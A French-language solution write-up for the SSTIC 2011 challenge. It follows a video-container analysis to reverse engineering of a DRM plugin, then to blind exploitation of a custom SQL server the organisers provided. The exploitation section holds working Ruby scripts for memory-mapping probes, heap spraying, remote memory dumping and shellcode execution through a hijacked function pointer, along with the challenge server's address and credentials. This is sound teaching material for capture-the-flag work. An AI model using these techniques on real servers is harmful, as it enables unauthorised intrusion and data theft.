Solution du challenge SSTIC 2011

par Raphaël Rigo

1 Introduction

Le défi de cette année est dans la même veine que les années précédentes : il s'agit de retrouver une adresse email à partir d'un fichier téléchargé sur le site. Il est néanmoins précisé ici que le fichier est une vidéo, de taille relativement limitée : 4,5 Mo.

Cette solution tente de présenter la démarche que j'ai appliquée pour la résolution de ce challenge. Malgré tout, il ne s'agit évidemment pas d'un compte rendu exhaustif des différentes approches tentées. Cependant, l'échec étant toujours riche en enseignements, je mentionnerai rapidement les quelques unes qui le méritent.

Quelques précisions : je ne rentrerai pas dans les détails de l'assembleur ou autres points techniques précis parfaitement documentés ailleurs. D'autre part, par manque de temps, cette solution ne couvre pas tous les aspects que j'aurais souhaité aborder et est loin d'atteindre la qualité qui devrait être la sienne.

2 Pré-qualifs

2.1 Premiers pas

Le premier objectif est bien évidemment d'identifier le type de la vidéo, afin de déterminer si l'utilisation d'un lecteur particulier est à envisager.

Détermination du format de la vidéo

```
$ file challenge
challenge: ISO Media, MPEG v4 system, version 2
```

Il s'agit donc d'un container MP4, format très utilisé par Apple. Un premier essai dans deux lecteurs différents (mplayer et vlc) ne donne aucun résultat, si ce n'est une piste sonore peu reconnaissable. La vidéo semble endommagée :

Erreur dans *mplayer*

```
[mpeg4 @ 0x7f5b8f7282c0]header damaged
```

Une rapide analyse de la piste audio avec Audacity ne semble montrer aucune caractéristique sortant de l'ordinaire et une lecture à l'envers ne révèle pas de message caché.

Restent à faire deux analyses basiques et classiques mais souvent efficaces : *strings* et *bvi*.

strings nous donne quelques résultats fort intéressants en recherchant les chaînes contenant "SSTIC" :

Quelques chaînes liées au SSTIC

```
$ strings sstic.mp4 | grep -i sstic
%s/sstic2011/secret1.dat
%s/sstic2011/secret2.dat
sstic_check_secret2
sstic_drm_init
sstic_drm_free
sstic_check_secret1
sstic_read_secret1
sstic_read_secret2
sstic_lame_derive_key
SsticHandler
```

Quelques autres chaînes évocatrices :

```
Quelques autres chaînes intéressantes
introduction.txt
JGCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3
_Jv_RegisterClasses
vlc_entry_copyright__1_1_0g
vlc_entry_license__1_1_0g
vlc_entry__1_1_0g
libvlccore.so.4
libmp4_plugin.so
/home/jb/vlc-1.1.7/src/.libs
```

Ces éléments nous font penser rapidement à un plugin VLC au format ELF, compilé sur une Ubuntu (x86) par un certain jb. Plugin qui serait utilisé pour déchiffrer la vidéo et qu'il va donc falloir extraire. Ces informations concordent avec celles fournies sur le site du challenge : "Le challenge a été testé sur Debian Sid, Ubuntu 10.04 et Ubuntu 10.10 (i386)".

On notera également le nom *introduction.txt* sur lequel nous reviendrons plus tard.

2.2 Si l'ELF m'était conté

Cet ELF, assez svelte probablement (mais à l'analyse sûrement pointue), vu la taille de la vidéo, va donc devoir être extrait du fichier. L'approche la plus simple consiste à faire un *dd* à partir de l'entête, retrouvé par une recherche de chaîne dans *bvi*, suivi par une rapide vérification avec *readelf* :

```
Extraction du ELF avec dd
$ dd if=sstic.mp4 of=test.elf bs=$((0x004511EC)) skip=1
$ readelf -a test.elf
[...]
readelf: Error: Unable to read in 0x4b0 bytes of section headers
readelf: Error: Section headers are not available!
```

Pas de *program header*, des erreurs, le fichier est corrompu. Il va falloir chercher un peu plus loin dans le format MP4.

Une rapide recherche sur Internet nous amène sur la FAQ MP4 du forum de Doom9 [1]. Cette page pointe vers différents outils, dont *MP4box*, qui permet la manipulation et l'analyse des pistes de données de fichiers MP4. Petite entorse à l'idéal, j'ai utilisé une version précompilée pour Windows avec Wine, afin de gagner en rapidité.

```
Informations sur le fichier
```

1. http://forum.doom9.org/showthread.php?t=62723

```
$ wine tools/MP4Box.exe -info sstic.mp4
* Movie Info *
        Timescale 90000 - Duration 00:00:17.298
        Fragmented File no - 3 track(s)
        File Brand mp42 - version 0
        Created: GMT Sat Mar 19 18:10:09 2011

File has no MPEG4 IOD/OD

Track # 1 Info - TrackID 1 - TimeScale 90000 - Duration 00:00:17.298
Media Info: Language "Undetermined" - Type "vide:mp4v" - 518 samples
MPEG-4 Config: Visual Stream - ObjectTypeIndication 0x20
MPEG-4 Visual Size 640 x 480 - Simple Profile @ Level 1
Pixel Aspect Ratio 1:1 - Indicated track size 640 x 480
Self-synchronized

Track # 2 Info - TrackID 2 - TimeScale 44100 - Duration 00:00:17.182
Media Info: Language "Undetermined" - Type "soun:mp4a" - 740 samples
MPEG-4 Config: Audio Stream - ObjectTypeIndication 0x40
MPEG-4 Audio AAC LC - 2 Channel(s) - SampleRate 44100
Synchronized on stream 1

Track # 3 Info - TrackID 3 - TimeScale 90000 - Duration 00:00:06.995
Media Info: Language "Undetermined" - Type "data:elf " - 128 samples
Unknown media type
        Vendor code "...." - Version 0 - revision 0
```

On pourra remarquer la date de création de la vidéo, 2 jours avant la publication du challenge :)

Mais en plus des pistes vidéo et audio attendues, on constate la présence d'une troisième piste, au nom explicite *data :elf*. Piste extraite de ce pas à l'aide du même outil :

Extraction du ELF avec MP4Box

```
$ wine tools/MP4Box.exe -raw 3 sstic.mp4
Extracting AC3 Audio

$ file sstic_track3.ac3
sstic_track3.ac3: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV),
dynamically linked, not stripped
```

L'extraction semble avoir fonctionné, ce qui est confirmé par un *readelf*.

Voilà, la première étape étant terminée[2], les choses sérieuses peuvent commencer.

3 ELF

3.1 Analyse du binaire

Bien que certains ne jurent que par *objdump* et *emacs*, j'avoue préférer les outils modernes et vais ici mentionner l'utilisation d'IDA.

Les symboles ayant été conservés, la fonction qui nous intéresse particulièrement est immédiatement trouvée : *sstic_drm_init*.

2. Les préqualifications diront certains

La compréhension du code ne pose ici aucun problème grâce aux symboles et le pseudo code suivant la résume :

Pseudo code de la fonction

```
unsigned char secret1[32];
unsigned char secret2[1024];
unsigned char key[128];

sstic_read_secret1(secret1);
if (erreur) goto fin;
sstic_check_secret1(secret1);
if (erreur) goto fin;
sstic_read_secret2(secret2);
if (erreur) goto fin;
sstic_check_secret2(secret2);
if (erreur) goto fin;
sstic_lame_derive_key(key, secret1, secret2);
RC2_set_key(context, 128, key, 1024);
fin:
```

Les deux fonctions de lecture vont chercher le contenu des fichiers *secret1.dat* et *secret2.dat* dans un répertoire retourné par *_config_GetUserDir*. Un simple *strace* nous donnera directement le chemin absolu (on notera qu'il faut d'abord supprimer le plugin vlc MP4 global et renommer le ELF en *libmp4_plugin.so*) :

Utilisation de *strace* pour trouver l'emplacement

```
$ strace -e trace=file vlc -I "dummy" --plugin-path . sstic.mp4
[...]
open("/home/raph/sstic2011/secret1.dat", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 5
open("/home/raph/sstic2011/secret2.dat", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 ENOENT
```

Ces deux secrets sont validés puis leurs données sont combinées à l'aide d'une fonction de dérivation de clef basique (*lame* selon les concepteurs du challenge) :

Fonction de dérivation de clef

```
    for (i=0; i<1024; i++)
        key[i&0x7F] ^= secret2[i];

    for (i=0; i<32; i++) {
        key[i] ^= secret1[i];
        key[i+32] ^= secret1[i];
        key[i+64] ^= secret1[i];
        key[i+96] ^= secret1[i];
    }
```

Cette fonction est correctement implémentée et aucune information des deux secrets n'est omise dans le calcul. Une attaque par ce biais semble donc inenvisageable.

La clef est ensuite utilisée comme argument de la fonction *RC2_set_key*. Une rapide analyse de la mémoire après l'appel de la fonction avec *gdb* permet de valider qu'il s'agit bien d'un *key schedule* RC2 standard (ce qui ne présente certes aucun intérêt pour la suite à part la satisfaction de ne pas s'être fait enfumer par les concepteurs).

Reste à déterminer l'utilisation qui est faite de ce RC2. L'offset de la structure utilisée pour stocker le contexte étant assez caractéristique, une recherche textuelle dans IDA permet de retrouver la fonction de déchiffrement associée.

Une rapide analyse montre qu'il s'agit d'une fonction de traitement des données vidéos, ce qui conforte l'analyse globale : les secrets sont utilisés pour déchiffrer la piste vidéo, dans laquelle on espère trouver l'adresse email finale.

3.2 Premier secret

L'analyse de la fonction *sstic_check_secret1* est simple : des appels à MD5 suivis par une comparaison avec une empreinte fixe : `b78a6c02a6f956b9d5cfbd7c643ed6fa`. Soupçonnant une fourberie de la part des auteurs du challenge, il m'a semblé préférable de valider la conformité de l'implémentation du MD5 par rapport au standard. Heureusement, celui-ci n'a pas été modifié.

Malheureusement, cela signifie également que nous avons 32 octets à trouver, avec pour seul indice leur empreinte MD5. Ce qui, en tout cas pour le commun des mortels, ne va pas beaucoup aider. Il y a donc forcément une autre piste à étudier, sur laquelle je reviendrai par la suite.

3.3 Deuxième secret

L'analyse de *sstic_check_secret2* est courte et peut être résumée par le pseudo code suivant :

Pseudo code de vérification de secret2

```
memcmp(expected_plaintext, decrypt(secret2, encryption_keys, 32), 1024);
```

Simple, non ? Évidemment, tout le problème va se situer au niveau de *decrypt* qui consiste en une longue liste d'instructions SSE dont l'analyse semble fastidieuse. Analyse qui sera donc remise à plus tard, le premier secret semblant une cible plus facile ou plus intéressante, *a priori*.

4 Une introduction bien peu liminaire quoique lumineuse

On se souvient du début où *strings* nous avait fourni une chaîne "introduction.txt", alors mise de côté. Il semble temps de le prendre pour creuser un peu. Deux possibilités alors : y aller à la main ou utiliser *magic_ofs*.

4.1 Identification

À la main[3], à l'aide de *hexdump*, on regarde le début du fichier :

hexdump du début de la vidéo

```
00000000  00 00 00 18 66 74 79 70  6d 70 34 32 00 00 00 00  |....ftypmp42....|
00000010  6d 70 34 32 69 73 6f 6d  00 3f a1 9a 6d 64 61 74  |mp42isom.?¡.mdat|
00000020  1f 8b 08 08 40 06 82 4d  02 00 69 6e 74 72 6f 64  |....@..M..introd|
00000030  75 63 74 69 6f 6e 2e 74  78 74 00 ad 52 41 6e d4  |uction.txt.RAnÔ|
```

et l'on reconnait l'en-tête `1f 8b` du format *gzip*, à l'offset `0x20`.

Sinon, *magic_ofs*, qui en gros fait un *file* sur le fichier, octet par octet, nous sort rapidement la réponse :

Utilisation de magic_ofs

3. Aussi connue sous le nom de technique Florent Marceau :)

```
$ ~/tools/magic_ofs/magic_ofs sstic.mp4
00000000: ISO Media, MPEG v4 system, version 2
00000024: Apple QuickTime movie (unoptimized)
00000032: gzip compressed data, was "introduction.txt", from FAT filesystem
(MS-DOS, OS/2, NT), last modified: Thu Mar 17 14:01:52 2011, max compression
```

Évidemment, un *dd* à partir de l'offset 32 ne donnera rien, les données étant corrompues.

4.2 Feinte ratée

Ma première idée a été de tenter de décompresser le peu de données disponibles à l'aide de *zlib*, en espérant en tirer quelque information. Évidemment, il faut essayer de récupérer les données decompressées au plus tôt pour avoir quelque chose d'intelligible.

gzip utilise l'algorithme zlib, en mode raw, c'est à dire sans dictionnaire dans le flux compressé. L'utilisation de zlib dans le code source C suivant me semblait la plus à même de fonctionner :

Tentative de décompression avec zlib

```
/* raw mode */
inflateInit2(&zs, -MAX_WBITS);

zs.avail_in = len;
zs.avail_out = MAX_SIZE;
zs.next_in = decrypted;
zs.next_out = unpacked;

err = inflate(&zs, Z_BLOCK);
printf("%d\n", err);
printf("%d\n", zs.total_out);
inflateEnd(&zs);
```

Bien sûr, le résultat est nul : aucune donnée. Il va donc falloir se documenter un peu plus sur le format MP4, MP4Box ne semblant pas d'une grande utilité pour cette tâche.

4.3 Digression sur le format MP4

Le format MP4 est un container assez particulier (mais bien documenté). On peut résumer sa composition rapidement : les données brutes sont stockées dans des pistes *mdat*, une par type de données : une pour la vidéo, une pour l'audio, etc. Il faut cependant au lecteur un moyen de trouver ces données, ce qui est fait par une suite de structures nommées *atoms* situées en général à la fin du fichier [4]. On y trouve notamment un index des *chunks* constitutant une piste sous la forme de paires (taille, offset).

Les pistes *mdat* sont donc l'endroit parfait pour cacher des données ! Les "trous" (au sens vidéo par exemple) seront en effet complètement invisibles aux lecteurs qui vont se baser sur les index présent dans les en-têtes. Cette technique a d'ailleurs déjà été proposée pour cacher des containers chiffrés [5].

4.4 Extraction du gzip

Grâce à l'extraction de la piste vidéo réalisée par MP4Box, il aurait été possible de simplement chercher les données présente dans le *mdat* de la piste vidéo qui ne se retrouvent pas dans la piste

4. Ce qui est absolument idiot, tout fichier tronqué ne pouvant être lu.
5. http://www.lifehacker.com.au/2011/02/embed-a-truecrypt-volume-in-a-playable-video-file/

extraite. Néanmoins, cette solution n'est pas vraiment idéale et la recherche de vrais "trous" dans la vidéo semble plus propre.

Une nouvelle fois, une recherche sur Internet nous donne l'outil permettant de réaliser cette opération à moindres frais : Bento4 est une suite d'outils de traitement du MP4, qui contient entre autres *mp4info*, qui permet de lister tous les fragments (*chunks*) d'une vidéo, leur position ainsi que leur taille.

Récupération de la taille et position des chunks

```
wine tools/mp4info.exe --show-layout sstic.mp4 > all.txt
  [...]
  00000000 [V] (1)* size= 22221, offset=      95, dts=0 (0 ms)
  00000001 [V] (1)  size=  7514, offset=   22316, dts=3005 (33 ms)
  00000002 [V] (1)  size=  6971, offset=   29830, dts=6011 (66 ms)
  00000003 [V] (1)  size=  4627, offset=   36801, dts=9016 (100 ms)
  00000004 [V] (1)  size=  5990, offset=   41428, dts=12022 (133 ms)
  00000005 [V] (1)  size=  3524, offset=   47418, dts=15028 (166 ms)
  00000006 [V] (1)  size=  5471, offset=   50942, dts=18033 (200 ms)
  00000007 [V] (1)  size=  7742, offset=   56413, dts=21039 (233 ms)
  00000008 [V] (1)  size=  8541, offset=   64155, dts=24044 (267 ms)
  [...]
```

Un simple script Ruby va parser tout ça et extraire les trous dans un fichier :

Code d'extraction du gzip

```
chunks = File.read(ARGV.shift)
movie=File.read(ARGV.shift)
out = File.open(ARGV.shift, "wb+")

offsets = chunks.split("\r\n").map do |c|
  if c then
     c =~ /.*size= ([^,]+), offset= ([^,]+).*/; [$1.to_i, $2.to_i]
  end
end
0.upto(offsets.length-2) do |i|
  if offsets[i][0]+offsets[i][1] != offsets[i+1][1] then
        hole_off = offsets[i][0]+offsets[i][1]
        hole_size = offsets[i+1][1] - hole_off
        puts "hole :  "+hole_off.to_s(16) +" "+hole_size.to_s(16)
        out.write(movie[hole_off, hole_size])
  end
end
out.close
```

Une fois le fichier extrait, l'en-tête rajouté à la main (il n'est pas extrait par le script car sité avant le premier chunk), un *gunzip* nous donne le texte suivant :

Message "introduction.txt"

```
Cher participant,

Le développeur étourdi d'un nouveau système de gestion de base de données
révolutionnaire a malencontreusement oublié quelques fichiers sur son serveur
web. Une partie des sources et des objets de ce SGBD pourraient se révéler
utile afin d'exploiter une éventuelle vulnérabilité.

Sauras-tu en tirer profit pour lire la clé présente dans le fichier
secret1.dat ?

  url      : http://88.191.139.176/
```

```
  login    : sstic2011
  password : ojF.iJS6p'rLRtPJ


--------------------------------------------------------------------------------
Toute attaque par déni de service est formellement interdite. Les organisateurs
du challenge se réservent le droit de bannir l'adresse IP de toute machine
effectuant un déni de service sur le serveur.
--------------------------------------------------------------------------------
```

Nous voilà donc éclairés sur la suite ; la récupération de *secret1.dat* ne sera donc pas aussi facile que prévue et nécessitera probablement l'exploitation d'une vulnérabilité sur le serveur spécifié. Heureusement, le texte est explicite quant à l'objectif et cette exploitation ne devrait pas constituer un accès frauduleux dans un système de traitement automatisé de données.

5 De l'exploit d'une vulnérabilité en aveugle

5.1 Source, image et .so

L'URL nous amène sur le listing d'un répertoire qui contient trois fichiers :

Listing du site web

```
udf.c          29-Feb-2011 13:37         1.4K         text/plain
udf.so          29-Feb-2011 13:37          6.8K          application/x-object
lobster_dog.jpg          29-Feb-2011 13:37         37K         image/jpeg
```

On se doute que les deux fichiers *udf* concernent le fameux gestionnaire de BDD. L'image est plus ... mystérieuse :

Figure 1 – lobster_dog.jpg

Avant d'y chercher quelque indice, mieux vaut vérifier qu'il ne s'agit pas d'une copie exacte d'une image sur Internet. Google nous amène vite sur http://1.bp.blogspot.com/_2GOp00WR4XM/TQukEInpZ7I/AAAAAAAABls/RGNEY1UyrP8/s1600/lobster+dog.jpg qui a exactement le même MD5. Rien à signaler de ce côté donc.

Reste à trouver une instance de ce SGBD, *nmap* est appelé à la rescousse :

nmap du serveur

```
PORT     STATE SERVICE VERSION
80/tcp   open  jdwp
| http-auth: HTTP Service requires authentication
|_  Auth type: Basic, realm = sstic2011
3306/tcp open  mysql?
| mysql-info: Protocol: 10
| Version: 1
| Thread ID: 1
| Some Capabilities: Connect with DB, Compress, Secure Connection
| Status: Autocommit
|_Salt: EQHSJX[As?~~~}yh{Rh6
```

En plus du serveur Web, on découvre un serveur MySQL, de version 1, chose étrange.

5.2 MySQL, vraiment ?

L'étude du fichier udf.c sème encore plus le doute. En effet, les définitions des *user defined functions*, car il s'agit bien de nouvelles fonctions disponibles pour le SGBD, implémentées en C, ne correspondent pas du tout à la syntaxe officielle de MySQL.

Comparaison entre udf.c et des UDF MySQL

```
MySQL :
CREATE [AGGREGATE] FUNCTION function_name RETURNS {STRING|INTEGER|REAL|DECIMAL}
    SONAME shared_library_name
my_bool MyTest_init(UDF_INIT *initid, UDF_ARGS *args, char *message)

udf.c:
CREATE FUNCTION max INTEGER, INTEGER RETURNS INTEGER SONAME "udf_max@udf.so";
void udf_max(int a, int b, val *result);
```

Pourtant, tout marche avec le client MySQL :

Connexion à la base

```
$ mysql -u sstic2011 -p"ojF.iJS6p'rLRtPJ" -h 88.191.139.176

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 1

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+----------+
| Database |
+----------+
|   system |
|    sstic |
```

```
+----------+
2 rows in set (0.01 sec)
```

Il est donc impossible de réutiliser *udf.so* sur une machine personnelle pour pouvoir reproduire l'environnement distant.

Par ailleurs, le fichier .so nous indique qu'il s'agit d'une architecture x86, information fort utile.

5.3 Vulnérabilités

La source des UDF est très probablement là pour nous aider à rechercher des vulnérabilités. Malheureusement, il nous manque le fichier contenant la définition de la structure `val`, qui nous aurait pourtant été bien utile.

5.4 *abs*

Les fonctions *min* et *max* ne semblent pas avoir un intérêt particulier. Par contre, *abs* est très intéressante, surtout si l'on remarque que la structure `val` contient un champ `value` qui semble être un `union` entre un pointeur et un int. Un petit test en ligne confirme l'intérêt de cette fonction et de cette propriété :

Utilisé de abs

```
mysql> select abs('');
+-----------+
| 153315592 |
+-----------+
| 153315592 |
+-----------+
1 row in set (0.03 sec)
```

Soit `0x9236908` en héxadécimal, ce qui correspondrait assez bien à un pointeur sur le tas ! Le code assembleur nous donne aussi quelques indications :

Implémentation de abs

```
.text:00000630 udf_abs          proc near
.text:00000630
.text:00000630 a                = dword ptr  8
.text:00000630 result           = dword ptr  0Ch
.text:00000630
.text:00000630                  push    ebp
.text:00000631                  mov     ebp, esp
.text:00000633                  mov     eax, [ebp+a]
.text:00000636                  mov     edx, eax
.text:00000638                  sar     edx, 1Fh
.text:0000063B                  mov     eax, edx
.text:0000063D                  xor     eax, [ebp+a]
.text:00000640                  sub     eax, edx
.text:00000642                  mov     edx, [ebp+result]
.text:00000645                  mov     [edx+4], eax
.text:00000648                  pop     ebp
.text:00000649                  retn
.text:00000649 udf_abs          endp
```

Notamment, `value` est situé à l'offset 4 de la structure `val`.

Nous avons donc ici un oracle qui nous permet d'obtenir *a priori* la valeur de `val->value.p`. Cependant le test suivant permet de modérer cette affirmation :

Test avec substr

```
mysql> select abs('aaaa');
+-----------+
| 153315376 |
+-----------+
[...]
mysql> select substr(153315376, 1, 2);
+------+
| aa   |
+------+
```

Ce code n'aurait pas du fonctionner ! Il semblerait que *abs* retourne la valeur de *result* ou de *val* et non la valeur de *val->value.p*.

5.5 substr

substr présente également une caractéristique très utile : *v* pouvant être spécifiée sous la forme d'un entier, il est possible d'utiliser *substr* comme oracle de détermination de la présence d'une page accessible ou non : `v+4` sera accédé et le serveur va quitter si la page n'est pas mappée. Si toutefois elle l'était, le passage d'une longueur nulle nous garanti qu'aucun accès sera fait à l'adresse pointée par les données à `v+4` :

Test de l'oracle

```
mysql> select substr(0, 0, 0);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> select substr(0x08048000,0 ,0);
+------+
|      |
+------+
```

Ceci va nous être fort utile par la suite pour déterminer l'organisation de l'espace mémoire. Un script Ruby nous sera utile :

Script de récupération du mapping mémoire

```
#!/usr/bin/ruby
require "mysql"
require "pp"
$my = Mysql::new('88.191.139.176', "sstic2011", "ojF.iJS6p'rLRtPJ", "sstic")
addr = ARGV.shift.to_i(16)
fin = ARGV.shift.to_i(16)
while addr < fin
        if not $my then
                begin
                $my = Mysql::new('88.191.139.176', "sstic2011", "ojF.iJS6p'rLRtPJ", "sstic")
                rescue
                end
        else
                begin
                        res = $my.query("select substr(#{addr},0,0)");
                        puts "Y : "+addr.to_s(16)
                rescue
                        $my = nil
                        puts "N : "+addr.to_s(16)
```

```
                end
                addr += 4096
        end
end
```

5.6 concat

La fonction *concat* semble d'emblée la plus intéressante à cause de son utilisation d'un pointeur au sein de la structure `val`. Si d'aventure nous parvenions à contrôler la valeur de ce pointeur, nous pourrions appeller n'importe quelle adresse, tout en contrôlant l'argument ! Un petit tour par le code assembleur nous permet de déterminer l'offset de *expand* :

Code de concat

```
.text:00000651                  mov     eax, [ebp+v]
.text:00000654                  mov     edx, [eax+0Ch]
.text:00000657                  mov     eax, [ebp+w]
.text:0000065A                  mov     [esp], eax
.text:0000065D                  call    edx
.text:0000065F                  cmp     eax, -1
.text:00000662                  jz      short loc_6CB
```

Reste néanmoins à contrôler ce pointeur...

5.7 Prise de contrôle

La chose ne semble pas évidente au premier abord. Comme *abs* ne renvoit pas directement l'adresse des données, il ne va pas être possible de forger directement une structure `val`. Malgré cela, il est probablement possible de tenter un *heap spray* pour ensuite appeler *substr* pour valider que celui-ci a bien fonctionné. En effet, si l'on réussit à passer une valeur de `v` qui tombe dans des données que l'on contrôle, la fonction devrait nous retourner les données situées à l'adresse pointée par notre *spray*. Il va donc nous falloir une adresse précise, fixe et mappée. L'adresse `0x08048000` correspondant au début du ELF du binaire principal sur x86 semble un bon candidat. D'autant plus qu'on a pu vérifier au préalable que celle-ci était présente grâce à un appel à *substr*. La spécification de valeurs binaires dans la chaîne fonctionne avec `CHAR`.

Contrôle de la structure

```
mysql> select abs(CHAR(0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00,
0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80,
0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04,
0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00,
0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80,
0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04,
0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00,
0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80,
0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04,
0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08));
+-----------+
| 162218400 |
+-----------+
| 162218400 |
+-----------+
1 row in set (0.10 sec)
```

```
mysql> select abs(CHAR(0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00,
0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80,
0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04,
0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00,
0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80,
0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04,
0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00,
0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80,
0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04,
0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08));
+-----------+
| 162216504 |
+-----------+
| 162216504 |
+-----------+
1 row in set (0.10 sec)

mysql> select substr(162218440,0,4);
+-------+
| ^?ELF |
+-------+
| ^?ELF |
+-------+
1 row in set (0.09 sec)
```

Petite explication : les deux allocations de chaînes sont séparées par 104 octets, tenter un v à peu près au milieu semble une bonne idée. Il se trouve, par chance, que cela fonctionne. On a donc la possibilité de *dumper* des données à n'importe quelle adresse. Comme d'habitude, un peu de Ruby nous sera utile :

Dump à distance en Ruby

```
def spray(data)
        data_str=[data].pack('V').unpack('H*').[0].scan(/../).map {|p| "0x"+p}.join(',')
        data_str += ","
        spray_data = (data_str*(500/data_str.length))[0..-2]
        res = $my.query("select abs(char(#{spray_data}))");
        return res.fetch_row.first.to_i
end

def dump_data(addr, size)
        dump_spray=spray(addr)
        res = $my.query("select substr(#{dump_spray+24},0,#{size})");
        data = res.fetch_row.first
        return data
end
```

5.8 Récupération d'informations à distance

5.8.1 Dump du binaire principal

La première chose à faire est évidemment de dumper le binaire afin d'obtenir plus d'informations sur ce qui nous attends. Le script permettant de déterminer le mapping va nous être utile pour déterminer la taille du fichier ELF, pour ensuite le dumper :

Script de dump complet

```
require "mysql"
require "pp"
require "helpers"

$my = Mysql::new('88.191.139.176', "sstic2011", "ojF.iJS6p'rLRtPJ", "sstic")
addr = ARGV.shift.to_i(16)
fin = ARGV.shift.to_i(16)
out = File.open(ARGV.shift,"ab")
while addr < fin
        if not $my then
                begin
                $my = Mysql::new('88.191.139.176', "sstic2011", "ojF.iJS6p'rLRtPJ", "sstic")
                rescue
                end
        else
                begin
                        puts addr.to_s(16)
                        data = dump_data(addr, 4096)
                        out.write(data)
                rescue
                        out.write("\x00"*4096)
                        $my = nil
                end
                addr += 4096
        end
end
out.close
```

Les *rescue* sont nécessaires car parfois la connexion au serveur est perdue à cause d'un trou dans le mapping ou pour une raison inconnue.

5.8.2 Analyse du binaire

L'analyse du ELF nécessite la reconstruction des imports, chose faite avec un plugin IDAPython :

Plugin IDAPython renommant les fonctions importées

```
rel=0x080489a8
syms=0x0804832C
strtab=0x080486AC
while rel < 0x8048B48:
        addr=Dword(rel)
        info=Word(rel+4)
        idx = info>>8
        cur_sym=syms+idx*16
        cur_str_off=Dword(cur_sym)
        name=GetString(strtab+cur_str_off)
        if name and name != "":
          name = name +"_ext"
          print name
          MakeName(addr, name)
        rel += 8
```

On constate rapidement qu'il s'agit d'une implémentation complètement maison d'un "serveur SQL" qui contient une base de données en dur. À part cela, le code suit un modèle client serveur simple : *bind, accept, fork*. Mais l'important est la présence de code passant le processus sous la protection de SECCOMP, ce qui signifie que seuls *read, write, exit* et *sigreturn* sont autorisés. Heureusement pour nous, *secret1.dat* est ouvert au début, avant l'activation de SECCOMP. Cela signifie également que le code que l'on choisir

d'exécuté une fois le contrôle pris va être extrèmement simple : `read(fd, buffer, 32); write(socket, buffer, 32);`. Ce qui nécessite la détermination des 2 valeurs de *fd*.

5.9 Détournement du flot d'exécution

5.9.1 NX

Ayant la possibilité de faire un *heap spray* fonctionnel, il est simple de contrôler l'adresse de *expand*. De plus, vu que l'on réussit à l'aide de `abs` à obtenir plus ou moins l'adresse d'un buffer sous notre contrôle, il devrait être simple d'obtenir l'exécution d'un shellcode sur le tas :

Exécution d'un shellcode sur le tas

```
sc="0xEB,0xFE"
nop_sled = "0x90,"*((999-sc.length)/5)
nop_sc = nop_sled+sc
puts nop_sc.length
res = $my.query("select abs(char(#{nop_sc}))");
sc_addr=res.fetch_row.first.to_i
puts "Sc addr : "+sc_addr.to_s(16)


# shellcode is now loaded, spread its address
#sc_addr_str=[sc_addr+40].pack('V').unpack('H*').first.scan(/../).map {|p| "0x"+p}.join(',')+","
sc_addr_str=[0x08049AB2].pack('V').unpack('H*').first.scan(/../).map {|p| "0x"+p}.join(',')+","
spray = (sc_addr_str*50)[0..-2]
res = $my.query("select abs(char(#{spray}))");
sc_addr_spray=res.fetch_row.first.to_i
puts "Sc addr spray : "+sc_addr_spray.to_s(16)

res = $my.query("select substr(#{sc_addr_spray+40},0, 30)");
data = res.fetch_row.first
pp data
puts Metasm::Shellcode.load(data,Metasm::Ia32.new).disassemble
#
# we now have a spray with our shellcode addr, exploit it !
res = $my.query("select concat(#{sc_addr_spray+40}, #{sc_addr})");
